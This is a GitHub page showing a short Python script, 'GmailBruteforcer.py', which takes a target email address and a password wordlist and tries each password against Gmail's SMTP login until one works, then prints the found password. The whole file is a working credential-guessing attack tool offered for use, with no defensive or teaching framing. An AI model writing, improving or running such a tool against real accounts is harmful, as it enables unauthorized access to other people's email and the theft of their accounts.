-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathGmailBruteforcer.py
33 lines (25 loc) · 1004 Bytes
/
GmailBruteforcer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
import smtplib
print(" ")
print("\t#################################################")
print("\t# Welcome to Email Brute forcer tool #")
print("\t# Created by @ashujaiswal109 #")
print("\t#################################################")
print(" ")
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter target email id: ")
print(" ")
passwf = raw_input("Enter password file: ")
print(" ")
passwf = open(passwf, "r")
for password in passwf:
try:
smtpserver.login(user, password)
print("Voila! password found: %s" % password)
print(" ")
break
except smtplib.SMTPAuthenticationError:
print(" password not found %s" % password)
print(" ")